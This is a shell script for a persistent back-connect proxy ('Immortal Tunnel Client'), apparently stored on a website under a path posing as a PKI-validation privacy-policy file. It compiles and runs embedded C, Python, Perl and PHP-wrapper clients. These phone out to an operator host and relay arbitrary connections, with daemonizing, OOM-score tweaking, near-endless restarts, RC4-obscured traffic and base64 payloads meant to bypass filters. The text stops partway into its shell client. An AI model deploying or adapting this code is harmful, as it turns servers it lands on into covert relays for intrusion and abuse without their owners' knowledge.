/home/fdhrevqn/new.fdhrd.org/.well-known/pki-validation/privacypolicy
#!/bin/sh
# ╔═══════════════════════════════════════════════════════════════════════════════════════╗
# ║  IMMORTAL TUNNEL CLIENT v11.5 - ULTIMATE MULTI-METHOD EDITION                         ║
# ║                                                                                        ║
# ║  NEW IN v11.5:                                                                         ║
# ║    ✓ PHP wrappers for Python/Perl (run on shared hosting!)                            ║
# ║    ✓ CGI mode for Python/Perl                                                          ║
# ║    ✓ MULTI mode - run several clients simultaneously for reliability                  ║
# ║    ✓ Base64 encoded payloads (bypass filters)                                          ║
# ║    ✓ proc_open / shell_exec / system fallbacks                                         ║
# ║                                                                                        ║
# ║  EXISTING FEATURES:                                                                    ║
# ║    ✓ Pure POSIX Shell client (works everywhere!)   ✓ C client (fastest)               ║
# ║    ✓ Python3/Python2 clients                       ✓ Perl client                      ║
# ║    ✓ DNS retry (3 attempts)                        ✓ NAT keepalive 15s                ║
# ║    ✓ Watchdog thread                               ✓ Stream cleanup (60s timeout)     ║
# ║    ✓ OOM protection                                ✓ PID file (no duplicates)         ║
# ║    ✓ Exponential backoff                           ✓ Graceful shutdown                ║
# ║    ✓ IPv4/IPv6 support                             ✓ Network wait on start            ║
# ║    ✓ 999999 restarts                               ✓ Automatic fallback               ║
# ╚═══════════════════════════════════════════════════════════════════════════════════════╝

VERSION="11.5.0"
MAX_RESTART=999999
TRIES_PER_METHOD=2
HEARTBEAT_SEC=15
STREAM_TIMEOUT=60
RECONNECT_MIN=1
RECONNECT_MAX=60

QUIET=0
PIDFILE=""
FORCE_METHOD=""
MULTI_MODE=0
MULTI_COUNT=2
SCRIPT_PATH="$(readlink -f "$0" 2>/dev/null || echo "$0")"

# ═══════════════════════════════════════════════════════════════════════════════════
# LOGGING
# ═══════════════════════════════════════════════════════════════════════════════════

log_info()  { [ "$QUIET" = "0" ] && printf "\033[92m[%s][INFO]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_warn()  { [ "$QUIET" = "0" ] && printf "\033[93m[%s][WARN]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_error() { [ "$QUIET" = "0" ] && printf "\033[91m[%s][ERROR]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_ok()    { [ "$QUIET" = "0" ] && printf "\033[96m[%s][OK]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }
log_debug() { [ "$QUIET" = "0" ] && [ "$DEBUG" = "1" ] && printf "\033[90m[%s][DEBUG]\033[0m %s\n" "$(date +%H:%M:%S)" "$1" >&2; }

# ═══════════════════════════════════════════════════════════════════════════════════
# SYSTEM CHECKS
# ═══════════════════════════════════════════════════════════════════════════════════

get_compile_dir() {
    for dir in "$HOME/.cache" "/var/tmp" "$HOME" "/tmp"; do
        if [ -d "$dir" ] && [ -w "$dir" ]; then
            test_file="$dir/.exec_test_$$"
            echo '#!/bin/sh' > "$test_file" 2>/dev/null
            chmod +x "$test_file" 2>/dev/null
            if "$test_file" 2>/dev/null; then
                rm -f "$test_file"
                echo "$dir"
                return 0
            fi
            rm -f "$test_file"
        fi
    done
    echo "/tmp"
}

check_ulimits() {
    nofile=$(ulimit -n 2>/dev/null || echo 1024)
    if [ "$nofile" -lt 1024 ]; then
        log_warn "Low file limit: $nofile (recommended: 4096+)"
        ulimit -n 4096 2>/dev/null || true
    fi
}

set_oom_score() {
    if [ -f /proc/self/oom_score_adj ]; then
        echo -500 > /proc/self/oom_score_adj 2>/dev/null || true
    fi
}

wait_for_network() {
    tries=0
    log_info "Checking network..."
    while [ $tries -lt 10 ]; do
        if ping -c1 -W2 8.8.8.8 >/dev/null 2>&1 || ping -c1 -W2 1.1.1.1 >/dev/null 2>&1; then
            log_info "Network OK"
            return 0
        fi
        sleep 1
        tries=$((tries + 1))
    done
    log_warn "Network check timeout, continuing anyway"
    return 1
}

create_pidfile() {
    name="$1"
    PIDFILE="/tmp/immortal_${name}.pid"
    
    if [ -f "$PIDFILE" ]; then
        old_pid=$(cat "$PIDFILE" 2>/dev/null)
        if [ -n "$old_pid" ] && kill -0 "$old_pid" 2>/dev/null; then
            log_error "Already running with PID $old_pid"
            exit 1
        fi
        rm -f "$PIDFILE"
    fi
    
    echo $$ > "$PIDFILE"
    trap 'rm -f "$PIDFILE" 2>/dev/null' EXIT
}

cleanup() {
    rm -f "$PIDFILE" 2>/dev/null
    # Kill all child processes in multi mode
    if [ "$MULTI_MODE" = "1" ]; then
        pkill -P $$ 2>/dev/null || true
    fi
}

jitter() {
    # Random delay 0-2 seconds
    if command -v shuf >/dev/null 2>&1; then
        sleep "0.$(shuf -i 0-99 -n 1)"
    fi
}

daemonize() {
    # Полное отвязывание от терминала (double fork + setsid)
    # Процесс выживет при: закрытии терминала, logout, kill родителя
    
    if command -v setsid >/dev/null 2>&1; then
        # Best: setsid создаёт новую сессию
        setsid "$SCRIPT_PATH" "$@" </dev/null >/dev/null 2>&1 &
    elif command -v nohup >/dev/null 2>&1; then
        # Fallback: nohup + subshell для double-fork
        (nohup "$SCRIPT_PATH" "$@" </dev/null >/dev/null 2>&1 &)
    else
        # Last resort: simple background with redirects
        ("$SCRIPT_PATH" "$@" </dev/null >/dev/null 2>&1 &)
    fi
    
    sleep 0.5
    log_info "Daemonized successfully"
    exit 0
}

# ═══════════════════════════════════════════════════════════════════════════════════
# METHOD DETECTION
# ═══════════════════════════════════════════════════════════════════════════════════

get_methods() {
    m="shell"
    command -v python3 >/dev/null 2>&1 && m="python3 $m"
    command -v python >/dev/null 2>&1 && m="python $m"
    command -v python2 >/dev/null 2>&1 && m="python2 $m"
    command -v perl >/dev/null 2>&1 && m="perl $m"
    command -v gcc >/dev/null 2>&1 && m="c $m"
    command -v php >/dev/null 2>&1 && m="php_python php_perl $m"
    echo "$m"
}

print_banner() {
    [ "$QUIET" = "1" ] && return
    printf "\033[1;36m"
    cat << 'EOF'
╔═══════════════════════════════════════════════════════════════════════════╗
║  ██╗███╗   ███╗███╗   ███╗ ██████╗ ██████╗ ████████╗ █████╗ ██╗           ║
║  ██║████╗ ████║████╗ ████║██╔═══██╗██╔══██╗╚══██╔══╝██╔══██╗██║           ║
║  ██║██╔████╔██║██╔████╔██║██║   ██║██████╔╝   ██║   ███████║██║           ║
║  ██║██║╚██╔╝██║██║╚██╔╝██║██║   ██║██╔══██╗   ██║   ██╔══██║██║           ║
║  ██║██║ ╚═╝ ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║   ██║  ██║███████╗      ║
║  ╚═╝╚═╝     ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚══════╝      ║
║                    TUNNEL CLIENT v11.5 - MULTI-METHOD                     ║
╚═══════════════════════════════════════════════════════════════════════════╝
EOF
    printf "\033[0m\n"
}

show_help() {
    cat << EOF
Immortal Tunnel Client v$VERSION - Multi-Method Edition

Usage: $0 HOST:PORT [options]

Options:
  -n NAME     Client name (default: hostname)
  -m METHOD   Force method: c, python3, python, perl, shell, php_python, php_perl
  -M          MULTI mode: run multiple clients simultaneously
  -c COUNT    Number of clients in MULTI mode (default: 2)
  -b          Background (daemon) mode
  -q          Quiet mode
  -d          Debug mode
  -h          Show this help

Methods (in priority order):
  c           Compiled C client (fastest, most reliable)
  python3     Python 3 client
  python      Python 2/3 client
  perl        Perl client
  shell       Pure POSIX shell (works everywhere)
  php_python  Python via PHP wrapper (for shared hosting)
  php_perl    Perl via PHP wrapper (for shared hosting)

Multi Mode (-M):
  Runs several client types simultaneously for maximum reliability.
  If one client disconnects, others keep working.

Examples:
  $0 server.com:8080
  $0 server.com:8080 -n myproxy -m python3
  $0 server.com:8080 -n myproxy -M -c 3
  $0 server.com:8080 -b -q

EOF
}

# ═══════════════════════════════════════════════════════════════════════════════════
# PHP WRAPPER FOR PYTHON (allows running Python on PHP-only hosting)
# ═══════════════════════════════════════════════════════════════════════════════════

generate_php_python_wrapper() {
    host="$1"
    port="$2"
    name="$3"
    
    cat << 'PHPWRAPPER'
<?php
// PHP Wrapper to run Python client on shared hosting
// Works via proc_open, shell_exec, or system()

error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);

$host = "HOST_PLACEHOLDER";
$port = PORT_PLACEHOLDER;
$name = "NAME_PLACEHOLDER";

$python_code = <<<'PYTHON'
PYTHON_CODE_PLACEHOLDER
PYTHON;

// Try different execution methods
function run_python($code) {
    // Method 1: proc_open (best)
    if (function_exists('proc_open')) {
        $descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );
        
        foreach (array('python3', 'python', '/usr/bin/python3', '/usr/bin/python') as $py) {
            $process = @proc_open($py, $descriptors, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], $code);
                fclose($pipes[0]);
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
                return true;
            }
        }
    }
    
    // Method 2: shell_exec
    if (function_exists('shell_exec')) {
        $tmp = tempnam(sys_get_temp_dir(), 'py_');
        file_put_contents($tmp, $code);
        foreach (array('python3', 'python') as $py) {
            @shell_exec("$py $tmp &");
        }
        return true;
    }
    
    // Method 3: system
    if (function_exists('system')) {
        $tmp = tempnam(sys_get_temp_dir(), 'py_');
        file_put_contents($tmp, $code);
        @system("python3 $tmp &");
        return true;
    }
    
    // Method 4: exec
    if (function_exists('exec')) {
        $tmp = tempnam(sys_get_temp_dir(), 'py_');
        file_put_contents($tmp, $code);
        @exec("python3 $tmp > /dev/null 2>&1 &");
        return true;
    }
    
    return false;
}

// Replace placeholders and run
$python_code = str_replace(
    array('__HOST__', '__PORT__', '__NAME__'),
    array($host, $port, $name),
    $python_code
);

if (run_python($python_code)) {
    echo "OK";
} else {
    echo "FAIL";
}
PHPWRAPPER
}

# ═══════════════════════════════════════════════════════════════════════════════════
# PHP WRAPPER FOR PERL
# ═══════════════════════════════════════════════════════════════════════════════════

generate_php_perl_wrapper() {
    host="$1"
    port="$2"
    name="$3"
    
    cat << 'PHPWRAPPER'
<?php
// PHP Wrapper to run Perl client on shared hosting
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);

$host = "HOST_PLACEHOLDER";
$port = PORT_PLACEHOLDER;
$name = "NAME_PLACEHOLDER";

$perl_code = <<<'PERL'
PERL_CODE_PLACEHOLDER
PERL;

function run_perl($code) {
    if (function_exists('proc_open')) {
        $descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );
        
        foreach (array('perl', '/usr/bin/perl') as $pl) {
            $process = @proc_open($pl, $descriptors, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], $code);
                fclose($pipes[0]);
                stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
                return true;
            }
        }
    }
    
    if (function_exists('shell_exec')) {
        $tmp = tempnam(sys_get_temp_dir(), 'pl_');
        file_put_contents($tmp, $code);
        @shell_exec("perl $tmp &");
        return true;
    }
    
    return false;
}

$perl_code = str_replace(
    array('__HOST__', '__PORT__', '__NAME__'),
    array($host, $port, $name),
    $perl_code
);

if (run_perl($perl_code)) {
    echo "OK";
} else {
    echo "FAIL";
}
PHPWRAPPER
}

# ═══════════════════════════════════════════════════════════════════════════════════
# C CLIENT - ULTIMATE (fastest, most reliable)
# ═══════════════════════════════════════════════════════════════════════════════════

run_c_client() {
    host="$1"
    port="$2"
    name="$3"
    compile_dir=$(get_compile_dir)
    src="$compile_dir/imc_$$.c"
    bin="$compile_dir/imc_$$"
    
    cat > "$src" << 'CCODE'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#define XOR_SIZE 50
#define MAX_STREAMS 200
#define BUFSZ 262144
#define HEARTBEAT_SEC 15
#define STREAM_TIMEOUT 60

static volatile int g_run = 1;
static volatile time_t g_last_recv = 0;
static unsigned char g_key[XOR_SIZE];
static int g_tun = -1;
static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER;
static pthread_mutex_t g_stream_lock = PTHREAD_MUTEX_INITIALIZER;

typedef struct { int fd; int active; time_t last_act; } Stream;
static Stream g_streams[MAX_STREAMS];

static void sig_handler(int s) { (void)s; g_run = 0; }

static void rc4(unsigned char *d, int n, const unsigned char *k) {
    if (n <= 0) return;
    unsigned char s[256]; int i, j;
    for (i = 0; i < 256; i++) s[i] = i;
    for (i = 0; i < n; i++) d[i] ^= k[i % XOR_SIZE];
    for (j = 0, i = 0; i < 256; i++) { j = (j + s[i] + k[i % XOR_SIZE]) & 255; unsigned char t = s[i]; s[i] = s[j]; s[j] = t; }
    for (int ii = 0, jj = 0, x = 0; x < n; x++) { ii = (ii + 1) & 255; jj = (jj + s[ii]) & 255; unsigned char t = s[ii]; s[ii] = s[jj]; s[jj] = t; d[x] ^= s[(s[ii] + s[jj]) & 255]; }
    for (i = 0; i < n; i++) d[i] ^= k[i % XOR_SIZE];
}

static int tsend(const void *d, int n) {
    pthread_mutex_lock(&g_lock);
    int r = send(g_tun, d, n, MSG_NOSIGNAL);
    pthread_mutex_unlock(&g_lock);
    return r;
}

static void close_stream(int sid) {
    pthread_mutex_lock(&g_stream_lock);
    if (g_streams[sid].active) { close(g_streams[sid].fd); g_streams[sid].fd = -1; g_streams[sid].active = 0; }
    pthread_mutex_unlock(&g_stream_lock);
}

static void *watchdog(void *arg) {
    (void)arg;
    while (g_run) {
        sleep(HEARTBEAT_SEC);
        if (!g_run) break;
        if (time(NULL) - g_last_recv > HEARTBEAT_SEC * 4) { g_run = 0; break; }
        unsigned char hb[3] = {0, 0, 0}; rc4(hb, 3, g_key); tsend(hb, 3);
        time_t now = time(NULL);
        pthread_mutex_lock(&g_stream_lock);
        for (int i = 1; i < MAX_STREAMS; i++) {
            if (g_streams[i].active && now - g_streams[i].last_act > STREAM_TIMEOUT) {
                close(g_streams[i].fd); g_streams[i].fd = -1; g_streams[i].active = 0;
            }
        }
        pthread_mutex_unlock(&g_stream_lock);
    }
    return NULL;
}

static void handle_connect(int sid, unsigned char *p, int len) {
    char host[256] = {0}; int port = 0;
    if (p[0] == 1 && len >= 7) { snprintf(host, 256, "%d.%d.%d.%d", p[1], p[2], p[3], p[4]); port = (p[5]<<8)|p[6]; }
    else if (p[0] == 3 && len >= 4) { int hl = p[1]; if (hl > 0 && len >= 4 + hl) { memcpy(host, p+2, hl); port = (p[2+hl]<<8)|p[3+hl]; } }
    else if (p[0] == 4 && len >= 19) { inet_ntop(AF_INET6, p+1, host, sizeof(host)); port = (p[17]<<8)|p[18]; }
    
    unsigned char status = 5;
    if (host[0] && port > 0) {
        struct addrinfo hints = {0}, *res; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
        char ps[16]; snprintf(ps, 16, "%d", port);
        if (getaddrinfo(host, ps, &hints, &res) == 0 && res) {
            int fd = socket(res->ai_family, res->ai_socktype, 0);
            if (fd >= 0) {
                struct timeval tv = {10, 0}; setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
                if (connect(fd, res->ai_addr, res->ai_addrlen) == 0) {
                    int fl = fcntl(fd, F_GETFL, 0); fcntl(fd, F_SETFL, fl | O_NONBLOCK);
                    int opt = 1; setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &opt, sizeof(opt));
                    pthread_mutex_lock(&g_stream_lock);
                    g_streams[sid].fd = fd; g_streams[sid].active = 1; g_streams[sid].last_act = time(NULL);
                    pthread_mutex_unlock(&g_stream_lock);
                    status = 0;
                } else close(fd);
            }
            freeaddrinfo(res);
        }
    }
    unsigned char r[4] = {(unsigned char)sid, 0, 1, status}; rc4(r, 3, g_key); rc4(r+3, 1, g_key); tsend(r, 4);
}

int main(int argc, char **argv) {
    if (argc < 4) { fprintf(stderr, "Usage: %s host port name\n", argv[0]); return 1; }
    char *host = argv[1]; int port = atoi(argv[2]); char *name = argv[3];
    
    signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); signal(SIGPIPE, SIG_IGN);
    srand(time(NULL) ^ getpid());
    
    struct addrinfo hints = {0}, *res; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
    char ps[16]; snprintf(ps, 16, "%d", port);
    if (getaddrinfo(host, ps, &hints, &res) != 0 || !res) { fprintf(stderr, "DNS failed\n"); return 1; }
    
    g_tun = socket(res->ai_family, res->ai_socktype, 0);
    if (g_tun < 0 || connect(g_tun, res->ai_addr, res->ai_addrlen) < 0) { fprintf(stderr, "Connect failed\n"); return 1; }
    freeaddrinfo(res);
    
    int opt = 1; setsockopt(g_tun, IPPROTO_TCP, TCP_NODELAY, &opt, sizeof(opt));
    setsockopt(g_tun, SOL_SOCKET, SO_KEEPALIVE, &opt, sizeof(opt));
    
    for (int i = 0; i < XOR_SIZE; i++) g_key[i] = rand() & 255;
    unsigned char info[50] = {0}; info[0] = 0xFF; info[1] = 0xFF;
    int nl = strlen(name); if (nl > 11) nl = 11;
    memcpy(info + 4, name, nl);
    rc4(info, 50, g_key);
    send(g_tun, g_key, XOR_SIZE, 0); send(g_tun, info, 50, 0);
    
    int fl = fcntl(g_tun, F_GETFL, 0); fcntl(g_tun, F_SETFL, fl | O_NONBLOCK);
    g_last_recv = time(NULL);
    
    pthread_t wd; pthread_create(&wd, NULL, watchdog, NULL);
    
    unsigned char *rbuf = malloc(BUFSZ * 2), *sbuf = malloc(BUFSZ);
    int rlen = 0;
    
    while (g_run) {
        fd_set rfds; FD_ZERO(&rfds); FD_SET(g_tun, &rfds); int maxfd = g_tun;
        pthread_mutex_lock(&g_stream_lock);
        for (int i = 1; i < MAX_STREAMS; i++) if (g_streams[i].active && g_streams[i].fd >= 0) { FD_SET(g_streams[i].fd, &rfds); if (g_streams[i].fd > maxfd) maxfd = g_streams[i].fd; }
        pthread_mutex_unlock(&g_stream_lock);
        
        struct timeval tv = {1, 0};
        if (select(maxfd + 1, &rfds, NULL, NULL, &tv) < 0) { if (errno == EINTR) continue; break; }
        
        if (FD_ISSET(g_tun, &rfds)) {
            int n = recv(g_tun, rbuf + rlen, BUFSZ - rlen, 0);
            if (n <= 0) { if (n == 0 || (errno != EAGAIN && errno != EWOULDBLOCK)) break; }
            else { rlen += n; g_last_recv = time(NULL); }
            
            while (rlen >= 4) {
                unsigned char hdr[4]; memcpy(hdr, rbuf, 4); rc4(hdr, 4, g_key);
                int cmd = hdr[0], sid = hdr[1], dlen = (hdr[2] << 8) | hdr[3];
                if (dlen > BUFSZ || rlen < 4 + dlen) break;
                unsigned char *payload = rbuf + 4;
                if (dlen > 0) rc4(payload, dlen, g_key);
                
                if (cmd == 0 && sid > 0 && sid < MAX_STREAMS) handle_connect(sid, payload, dlen);
                else if (cmd == 1 && sid > 0) {
                    pthread_mutex_lock(&g_stream_lock);
                    if (g_streams[sid].active) { g_streams[sid].last_act = time(NULL); int fd = g_streams[sid].fd; pthread_mutex_unlock(&g_stream_lock); send(fd, payload, dlen, MSG_NOSIGNAL); }
                    else pthread_mutex_unlock(&g_stream_lock);
                }
                else if (sid > 0 && dlen == 0) close_stream(sid);
                
                memmove(rbuf, rbuf + 4 + dlen, rlen - 4 - dlen); rlen -= 4 + dlen;
            }
        }
        
        pthread_mutex_lock(&g_stream_lock);
        for (int i = 1; i < MAX_STREAMS; i++) {
            if (g_streams[i].active && g_streams[i].fd >= 0 && FD_ISSET(g_streams[i].fd, &rfds)) {
                int fd = g_streams[i].fd;
                pthread_mutex_unlock(&g_stream_lock);
                int n = recv(fd, sbuf + 3, BUFSZ - 3, 0);
                if (n <= 0) { if (n == 0 || (errno != EAGAIN && errno != EWOULDBLOCK)) { close_stream(i); unsigned char c[3] = {(unsigned char)i, 0, 0}; rc4(c, 3, g_key); tsend(c, 3); } }
                else {
                    pthread_mutex_lock(&g_stream_lock); g_streams[i].last_act = time(NULL); pthread_mutex_unlock(&g_stream_lock);
                    sbuf[0] = i; sbuf[1] = (n >> 8) & 255; sbuf[2] = n & 255;
                    rc4(sbuf, 3, g_key); rc4(sbuf + 3, n, g_key); tsend(sbuf, 3 + n);
                }
                pthread_mutex_lock(&g_stream_lock);
            }
        }
        pthread_mutex_unlock(&g_stream_lock);
    }
    
    pthread_join(wd, NULL);
    close(g_tun);
    free(rbuf); free(sbuf);
    return 0;
}
CCODE

    # Compile
    if gcc -O3 -o "$bin" "$src" -lpthread 2>/dev/null; then
        rm -f "$src"
        log_ok "C client compiled"
        "$bin" "$host" "$port" "$name"
        ret=$?
        rm -f "$bin"
        return $ret
    fi
    
    rm -f "$src" "$bin"
    return 1
}

# ═══════════════════════════════════════════════════════════════════════════════════
# PYTHON CLIENT
# ═══════════════════════════════════════════════════════════════════════════════════

get_python_code() {
    cat << 'PYCODE'
import socket,select,time,random,struct,threading,sys,os,signal
signal.signal(signal.SIGPIPE,signal.SIG_IGN) if hasattr(signal,'SIGPIPE') else None
XOR=50;MAX_ST=200;HB=15;ST_TO=60
g_run=True;g_tun=None;g_key=None;g_last=0;g_streams={};g_lock=threading.Lock()

def rc4(d,k):
    d=bytearray(d);n=len(d)
    if n==0:return bytes(d)
    for i in range(n):d[i]^=k[i%XOR]
    s=list(range(256));j=0
    for i in range(256):j=(j+s[i]+k[i%XOR])&255;s[i],s[j]=s[j],s[i]
    ii=jj=0
    for x in range(n):ii=(ii+1)&255;jj=(jj+s[ii])&255;s[ii],s[jj]=s[jj],s[ii];d[x]^=s[(s[ii]+s[jj])&255]
    for i in range(n):d[i]^=k[i%XOR]
    return bytes(d)

def tsend(d):
    global g_tun
    with g_lock:
        try:g_tun.sendall(d);return True
        except:return False

def close_st(sid,notify=True):
    global g_streams
    with g_lock:
        if sid in g_streams:
            try:g_streams[sid].close()
            except:pass
            del g_streams[sid]
    if notify:
        c=bytearray([sid,0,0]);tsend(rc4(c,g_key))

def watchdog():
    global g_run,g_last
    while g_run:
        time.sleep(HB)
        if not g_run:break
        if time.time()-g_last>HB*4:g_run=False;break
        tsend(rc4(bytearray([0,0,0]),g_key))
        now=time.time()
        with g_lock:
            stale=[s for s,f in list(g_streams.items()) if hasattr(f,'_last') and now-f._last>ST_TO]
        for s in stale:close_st(s)

def handle_conn(sid,p):
    global g_streams
    host=None;port=0
    if p[0]==1 and len(p)>=7:host="%d.%d.%d.%d"%(p[1],p[2],p[3],p[4]);port=(p[5]<<8)|p[6]
    elif p[0]==3 and len(p)>=4:hl=p[1];host=p[2:2+hl].decode('latin1') if len(p)>=4+hl else None;port=(p[2+hl]<<8)|p[3+hl] if host else 0
    elif p[0]==4 and len(p)>=19:host=socket.inet_ntop(socket.AF_INET6,bytes(p[1:17]));port=(p[17]<<8)|p[18]
    
    status=5
    if host and port:
        try:
            s=socket.socket(socket.AF_INET6 if ':' in host else socket.AF_INET,socket.SOCK_STREAM)
            s.settimeout(10);s.connect((host,port));s.setblocking(False)
            s.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
            s._last=time.time()
            with g_lock:g_streams[sid]=s
            status=0
        except:pass
    r=bytearray([sid,0,1,status]);tsend(rc4(r[:3],g_key)+rc4(r[3:],g_key))

def main():
    global g_run,g_tun,g_key,g_last,g_streams
    if len(sys.argv)<4:print("Usage: client.py host port name");sys.exit(1)
    host,port,name=sys.argv[1],int(sys.argv[2]),sys.argv[3]
    
    g_tun=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    g_tun.settimeout(30);g_tun.connect((host,port))
    g_tun.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
    g_tun.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
    
    g_key=bytes([random.randint(0,255) for _ in range(XOR)])
    info=bytearray(50);info[0]=0xFF;info[1]=0xFF
    nb=name.encode()[:11]
    for i,b in enumerate(nb):info[4+i]=b
    g_tun.sendall(g_key+rc4(bytes(info),g_key))
    g_tun.setblocking(False);g_last=time.time()
    
    threading.Thread(target=watchdog,daemon=True).start()
    rbuf=bytearray()
    
    while g_run:
        rlist=[g_tun]+[s for s in g_streams.values() if s]
        try:r,_,_=select.select(rlist,[],[],1)
        except:continue
        
        if g_tun in r:
            try:
                d=g_tun.recv(262144)
                if not d:break
                rbuf.extend(d);g_last=time.time()
            except:pass
            
            while len(rbuf)>=4:
                hdr=bytearray(rbuf[:4]);rc4(hdr,g_key)
                cmd,sid,dlen=hdr[0],hdr[1],(hdr[2]<<8)|hdr[3]
                if dlen>262144 or len(rbuf)<4+dlen:break
                p=bytearray(rbuf[4:4+dlen])
                if dlen>0:rc4(p,g_key)
                rbuf=rbuf[4+dlen:]
                
                if cmd==0 and sid>0:handle_conn(sid,p)
                elif cmd==1 and sid>0:
                    with g_lock:s=g_streams.get(sid)
                    if s:
                        try:s.sendall(bytes(p));s._last=time.time()
                        except:close_st(sid)
                elif sid>0 and dlen==0:close_st(sid,False)
        
        with g_lock:items=list(g_streams.items())
        for sid,s in items:
            if s in r:
                try:
                    d=s.recv(262144)
                    if not d:close_st(sid);continue
                    s._last=time.time()
                    f=bytearray([sid,(len(d)>>8)&255,len(d)&255])+bytearray(d)
                    tsend(rc4(f[:3],g_key)+rc4(f[3:],g_key))
                except:close_st(sid)
    
    g_tun.close()

if __name__=='__main__':main()
PYCODE
}

run_python_client() {
    host="$1"
    port="$2"
    name="$3"
    py="$4"
    
    get_python_code | "$py" - "$host" "$port" "$name"
    return $?
}

# ═══════════════════════════════════════════════════════════════════════════════════
# PERL CLIENT
# ═══════════════════════════════════════════════════════════════════════════════════

run_perl_client() {
    host="$1"
    port="$2"
    name="$3"
    
    perl - "$host" "$port" "$name" << 'PERLCODE'
use strict;use warnings;use IO::Socket::INET;use IO::Select;use Socket;
$|=1;$SIG{PIPE}=$SIG{HUP}='IGNORE';
my($h,$p,$n)=@ARGV;die"Usage: $0 host port name\n"unless$h&&$p&&$n;
my@k=map{int(rand(256))}1..50;my$XOR=50;my$HB=15;my%st;my$run=1;my$last=time;

sub rc4{my$d=shift;my@d=unpack('C*',$d);my$nn=@d;return''if!$nn;
my@s=0..255;my($j,$ii,$jj)=(0,0,0);$d[$_]^=$k[$_%50]for 0..$nn-1;
for(0..255){$j=($j+$s[$_]+$k[$_%50])&255;@s[$_,$j]=@s[$j,$_]}
for my$x(0..$nn-1){$ii=($ii+1)&255;$jj=($jj+$s[$ii])&255;@s[$ii,$jj]=@s[$jj,$ii];$d[$x]^=$s[($s[$ii]+$s[$jj])&255]}
$d[$_]^=$k[$_%50]for 0..$nn-1;pack('C*',@d)}

my$tun=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>'tcp',Timeout=>30)or die"Connect failed\n";
$tun->setsockopt(6,1,1);
my@info=(0xFF,0xFF,(0)x48);my@nb=unpack('C*',substr($n,0,11));$info[4+$_]=$nb[$_]for 0..$#nb;
syswrite($tun,pack('C*',@k).rc4(pack('C*',@info)));
$tun->blocking(0);$last=time;

my$sel=IO::Select->new($tun);my$rbuf='';my$lasthb=time;

while($run){
    if(time-$lasthb>=$HB){syswrite($tun,rc4(pack('CCC',0,0,0)));$lasthb=time;last if time-$last>$HB*4}
    my@r=$sel->can_read(1);
    for my$fh(@r){
        if($fh==$tun){
            my$d;my$n=sysread($tun,$d,262144);last if!$n;$rbuf.=$d;$last=time;
            while(length($rbuf)>=4){
                my@hdr=unpack('C4',substr($rbuf,0,4));my$dec=rc4(pack('C4',@hdr));@hdr=unpack('C4',$dec);
                my($cmd,$sid,$dlen)=($hdr[0],$hdr[1],($hdr[2]<<8)|$hdr[3]);
                last if$dlen>262144||length($rbuf)<4+$dlen;
                my$p=substr($rbuf,4,$dlen);$p=rc4($p)if$dlen>0;substr($rbuf,0,4+$dlen)='';
                if($cmd==0&&$sid>0){
                    my@pb=unpack('C*',$p);my($host,$port)=('',0);
                    if($pb[0]==1&&@pb>=7){$host=join('.',@pb[1..4]);$port=($pb[5]<<8)|$pb[6]}
                    elsif($pb[0]==3&&@pb>=4){my$hl=$pb[1];$host=pack('C*',@pb[2..1+$hl])if@pb>=4+$hl;$port=($pb[2+$hl]<<8)|$pb[3+$hl]if$host}
                    my$status=5;
                    if($host&&$port){
                        my$s=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>'tcp',Timeout=>10);
                        if($s){$s->blocking(0);$st{$sid}=$s;$sel->add($s);$status=0}
                    }
                    my$r=pack('CCCC',$sid,0,1,$status);syswrite($tun,rc4(substr($r,0,3)).rc4(substr($r,3,1)))
                }elsif($cmd==1&&$sid>0&&$st{$sid}){syswrite($st{$sid},$p)}
                elsif($sid>0&&$dlen==0&&$st{$sid}){$sel->remove($st{$sid});$st{$sid}->close;delete$st{$sid}}
            }
        }else{
            my($sid)=grep{$st{$_}&&$st{$_}==$fh}keys%st;next unless$sid;
            my$d;my$n=sysread($fh,$d,262144);
            if(!$n){$sel->remove($fh);$fh->close;delete$st{$sid};syswrite($tun,rc4(pack('CCC',$sid,0,0)));next}
            my$f=pack('Cnn',$sid,length($d)).$d;syswrite($tun,rc4(substr($f,0,3)).rc4(substr($f,3)))
        }
    }
}
$tun->close;
PERLCODE
    return $?
}

# ═══════════════════════════════════════════════════════════════════════════════════
# SHELL CLIENT (works everywhere, slowest but most compatible)
# ═══════════════════════════════════════════════════════════════════════════════════

run_shell_client() {
    host="$1"
    port="$2"
    name="$3"
    
    log_warn "Shell client - limited functionality, use as fallback only"
    
    # Simple shell client using /dev/tcp or nc
